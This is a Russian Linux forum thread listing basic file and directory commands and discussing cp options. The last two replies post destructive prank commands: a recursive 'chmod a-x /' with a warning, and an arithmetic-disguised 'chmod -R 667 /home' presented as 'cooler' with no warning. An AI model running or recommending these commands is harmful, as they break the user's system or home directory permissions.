Работа с файлами и директориями

Работа с файлами и директориями

Сообщение ALEXX » 20 янв 2015, 12:58

Код: выделить все
cd /home
перейти в директорию '/home'
Код: выделить все
cd ..
перейти в директорию уровнем выше
Код: выделить все
cd ../..
перейти в директорию двумя уровнями выше
Код: выделить все
cd
перейти в домашнюю директорию
Код: выделить все
cd ~user
перейти в домашнюю директорию пользователя user
Код: выделить все
cd -
перейти в директорию, в которой находились до перехода в текущую директорию
Код: выделить все
pwd
показать текущюю директорию
Код: выделить все
ls
отобразить содержимое текущей директории
Код: выделить все
ls -F
отобразить содержимое текущей директории с добавлением к именам символов, храктеризующих тип
Код: выделить все
ls -l
показать детализированое представление файлов и директорий в текущей директории
Код: выделить все
ls -a
показать скрытые файлы и директории в текущей директории
Код: выделить все
ls *[0-9]*
показать файлы и директории содержащие в имени цифры
Код: выделить все
tree
показать дерево файлов и директорий, начиная от корня (/)
lstree
Код: выделить все
mkdir dir1
создать директорию с именем dir1
Код: выделить все
mkdir dir1 dir2
создать две директории одновременно
Код: выделить все
mkdir -p /tmp/dir1/dir2
создать дерево директорий
Код: выделить все
rm -f file1
удалить файл с именем file1
Код: выделить все
rmdir dir1
удалить директорию с именем dir1
Код: выделить все
rm -rf dir1
удалить директорию с именем dir1 и рекурсивно всё её содержимое
Код: выделить все
rm -rf dir1 dir2
удалить две директории и рекурсивно их содержимое
Код: выделить все
mv dir1 new_dir
переименовать или переместить файл или директорию
Код: выделить все
cp file1 file2
сопировать файл file1 в файл file2
Код: выделить все
cp dir/* .
копировать все файлы директории dir в текущую директорию
Код: выделить все
cp -a /tmp/dir1 .
копировать директорию dir1 со всем содержимым в текущую директорию
Код: выделить все
cp -a dir1 dir2
копировать директорию dir1 в директорию dir2
Код: выделить все
ln -s file1 lnk1
создать символическую ссылку на файл или директорию
Код: выделить все
ln file1 lnk1
создать "жёсткую" (физическую) ссылку на файл или директорию
Код: выделить все
touch -t 0712250000 fileditest
модифицировать дату и время создания файла, при его отсутствии, создать файл с указанными датой и временем (YYMMDDhhmm)
Умом Россию не понять, Аршином общим не измерить.
У ней особенная стать — В Россию можно только верить.
Федор Иванович Тютчев
Аватар пользователя
ALEXX
Администратор
Администратор
 
Автор темы
Сообщений: 1111
Фото: 32
Стаж: 2 года 9 месяцев 4 дня
Откуда: Королёв
Благодарил (а): 321 раз.
Поблагодарили: 186 раз.

Работа с файлами и директориями

Спонсор

Спонсор
 

Re: Работа с файлами и директориями

Сообщение Kycok » 20 янв 2015, 13:25

Есть хорошая обоина с командами. Скачать можно здесь
Аватар пользователя
Kycok
Уважаемый участник
Уважаемый участник
 
Сообщений: 281
Фото: 20
Стаж: 2 года 8 месяцев 9 дней
Откуда: Санкт-Петербург
Благодарил (а): 39 раз.
Поблагодарили: 60 раз.

Re: Работа с файлами и директориями

Сообщение Packum » 26 сен 2015, 21:35

Что-то забыл как архивы копировать. Какой ключ ставить -a или -b? Раньше вроде всё нормально было, - теперь с -a пишет:
Цитата:
не удалось сохранить владельца «/media/flash/Vektor.part01.rar»: Операция не позволена

Или фик с ним?
Ничего не скопировалось ни с -a ни с -b ни с -r. Как я раньше то копировал? :oops: :cry:
Хм, всё скопировалось оказывается, но Gentoo ничего не видит :shock:
Копирую заново на другом дистре от греха подальше.
Аватар пользователя
Packum
Активный участник
Активный участник
 
Сообщений: 173
Фото: 66
Стаж: 2 года 8 месяцев 7 дней
Откуда: С.Петербург
Благодарил (а): 86 раз.
Поблагодарили: 48 раз.

Re: Работа с файлами и директориями

Сообщение Шпак Дмитрий » 28 сен 2015, 10:09

http://www.ibm.com/developerworks/ru/library/l-lpic1-v3-103-3/ хорошее описание от IBM, хотя тоже не полное. Кажется в Unix полного описания работы с файлами написать не возможно.
Шпак Дмитрий
Местный говорун
Местный говорун
 
Сообщений: 586
Стаж: 2 года 8 месяцев 6 дней
Откуда: Russian_federation, какой то
Благодарил (а): 20 раз.
Поблагодарили: 145 раз.

Re: Работа с файлами и директориями

Сообщение Oleg65 » 11 дек 2016, 10:28

Тонкости команды cp. Для копирования простых файлов - все просто:
Код: выделить все
cp копируемый_файл  имя_копии_файла
cp a.txt  b.txt
здесь при копировании файла a.txt будет создана копия этого файла с именем b.txt. Это если копирование происходит в текущей директории (т.е. оба файла находятся в одной директории. Если необходимо скопировать файл из одной директории в другую, то указываем пути исходный и назначения. Например:
Код: выделить все
cp ~/oleg/a.txt .
Копируем из домашней директории в текущую. Имя файла, в этом случае, будет тем же.
Скопировать целую директорию со всем содержимым можно используя опции -r, -R. Почему существуют для одной утилиты две одинаковые опции? -R - будет работать на всех ОС. -r, на некоторых ОС может не работать, и копирует символические ссылки, как простые файлы.
Есть маленькая тонкость - если целевая директория уже существует, то в ней создается поддиректория, с именем исходной директории, и уже в нее копируется все содержимое исходной директории. Если целевая директория не существует (еще не создана), то создается новая директория, куда и копируется все содержимое исходной директории, но не сама директория.
Кроме того: Если последний аргумент является существующим каталогом, то cp копирует каждый исходный файл в этот каталог (сохраняя имена). В противном случае, если задано только два файла, то cp копирует первый файл во второй. Права доступа к файлам и директориям будут такими же, как и у оригинальных файлов, но в новых правах будут сброшены биты sticky, setuid и setgid. Ну, в кратце, как-то так. :? Дополняйте. И, важно, при копировании в целевой файл - он не дописывается, т.е. в него не добавляется, а переписывается!!! Это нужно помнить и при архивировании!
Аватар пользователя
Oleg65
Местный говорун
Местный говорун
 
Сообщений: 760
Стаж: 2 года 8 месяцев 7 дней
Откуда: г.Коломна Моск.обл.
Благодарил (а): 54 раз.
Поблагодарили: 178 раз.

Re: Работа с файлами и директориями

Сообщение Olej » 11 дек 2016, 17:55

Цитата:
Работа с файлами и директориями

Вот хорошая команда ... работы с файлами и директориями:
Код: выделить все
$ sudo chmod a-x / -R

Только попробовать её можно только 1 раз, потому что после этого система уничтожена дотла и восстановлению не подлежит :shock:
Olej
 
Стаж: 47 лет 8 месяцев 24 дня

Re: Работа с файлами и директориями

Сообщение ВолшебныйПомошник » 16 апр 2017, 23:05

Намного круче сделать вот так
b=$((1000-333));chmod -R $b /home
Пруф команда.
Аватар пользователя
ВолшебныйПомошник
Молчаливый гость
Молчаливый гость
 
Сообщений: 7
Стаж: 5 месяцев 8 дней
Благодарил (а): 0 раз.
Поблагодарили: 1 раз.


Вернуться в Командная строка

Кто сейчас на форуме

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 1